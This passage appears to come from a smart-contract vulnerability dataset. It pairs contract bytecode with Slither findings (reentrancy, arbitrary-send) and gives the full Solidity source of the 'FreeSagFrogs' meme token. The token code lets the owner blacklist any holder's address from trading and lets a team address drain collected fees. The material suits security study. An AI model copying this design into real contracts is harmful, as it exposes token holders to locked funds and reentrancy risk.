190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b753a5c3fe6430b8c0fd1c254fbe006dc334485ed50181caaadc0713d8cb5ee264736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 667 |
0xf1a33a0034759977bea1cb0bc93a40146d9f4c69 | /**
*Submitted for verification at Etherscan.io on 2021-08-18
FREESADFROGS!!!!!! FREESADFROGS!!!!!! FREESADFROGS!!!!!! FREESADFROGS!!!!!! FREESADFROGS!!!!!! FREESADFROGS!!!!!! FREESADFROGS!!!!!! FREESADFROGS!!!!!!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FreeSagFrogs is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "FreeSagFrogs Token T.me/FreeSagFrogs";
string private constant _symbol = "FreeSFrogs";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 55000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _teamFee = 7;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_teamFee = 7;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612eb4565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129d7565b610441565b6040516101789190612e99565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613056565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612988565b61046e565b6040516101e09190612e99565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128fa565b610547565b005b34801561021e57600080fd5b50610227610637565b60405161023491906130cb565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a54565b610640565b005b34801561027257600080fd5b5061027b6106f2565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128fa565b610764565b6040516102b19190613056565b60405180910390f35b3480156102c657600080fd5b506102cf6107b5565b005b3480156102dd57600080fd5b506102e6610908565b6040516102f39190612dcb565b60405180910390f35b34801561030857600080fd5b50610311610931565b60405161031e9190612eb4565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129d7565b61096e565b60405161035b9190612e99565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a13565b61098c565b005b34801561039957600080fd5b506103a2610adc565b005b3480156103b057600080fd5b506103b9610b56565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612aa6565b6110af565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061294c565b6111f6565b6040516104189190613056565b60405180910390f35b60606040518060600160405280602481526020016137b760249139905090565b600061045561044e61127d565b8484611285565b6001905092915050565b600066c3663566a58000905090565b600061047b848484611450565b61053c8461048761127d565b6105378560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ed61127d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0f9092919063ffffffff16565b611285565b600190509392505050565b61054f61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d390612f96565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064861127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cc90612f96565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073361127d565b73ffffffffffffffffffffffffffffffffffffffff161461075357600080fd5b600047905061076181611c73565b50565b60006107ae600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6e565b9050919050565b6107bd61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084190612f96565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f467265655346726f677300000000000000000000000000000000000000000000815250905090565b600061098261097b61127d565b8484611450565b6001905092915050565b61099461127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1890612f96565b60405180910390fd5b60005b8151811015610ad8576001600a6000848481518110610a6c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ad09061336c565b915050610a24565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1d61127d565b73ffffffffffffffffffffffffffffffffffffffff1614610b3d57600080fd5b6000610b4830610764565b9050610b5381611ddc565b50565b610b5e61127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be290612f96565b60405180910390fd5b600f60149054906101000a900460ff1615610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290613016565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666c3663566a58000611285565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0f57600080fd5b505afa158015610d23573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d479190612923565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da957600080fd5b505afa158015610dbd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de19190612923565b6040518363ffffffff1660e01b8152600401610dfe929190612de6565b602060405180830381600087803b158015610e1857600080fd5b505af1158015610e2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e509190612923565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed930610764565b600080610ee4610908565b426040518863ffffffff1660e01b8152600401610f0696959493929190612e38565b6060604051808303818588803b158015610f1f57600080fd5b505af1158015610f33573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f589190612acf565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066071afd498d00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611059929190612e0f565b602060405180830381600087803b15801561107357600080fd5b505af1158015611087573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ab9190612a7d565b5050565b6110b761127d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90612f96565b60405180910390fd5b60008111611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e90612f56565b60405180910390fd5b6111b460646111a68366c3663566a580006120d690919063ffffffff16565b61215190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111eb9190613056565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ec90612ff6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90612f16565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114439190613056565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790612fd6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790612ed6565b60405180910390fd5b60008111611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90612fb6565b60405180910390fd5b61157b610908565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e957506115b9610908565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4c57600f60179054906101000a900460ff161561181c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c55750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171f5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181b57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176561127d565b73ffffffffffffffffffffffffffffffffffffffff1614806117db5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c361127d565b73ffffffffffffffffffffffffffffffffffffffff16145b61181a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181190613036565b60405180910390fd5b5b5b60105481111561182b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cf5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d857600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119835750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d95750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f15750600f60179054906101000a900460ff165b15611a925742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4157600080fd5b600a42611a4e919061318c565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9d30610764565b9050600f60159054906101000a900460ff16158015611b0a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b225750600f60169054906101000a900460ff165b15611b4a57611b3081611ddc565b60004790506000811115611b4857611b4747611c73565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf35750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfd57600090505b611c098484848461219b565b50505050565b6000838311158290611c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4e9190612eb4565b60405180910390fd5b5060008385611c66919061326d565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc360028461215190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cee573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3f60028461215190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d6a573d6000803e3d6000fd5b5050565b6000600654821115611db5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dac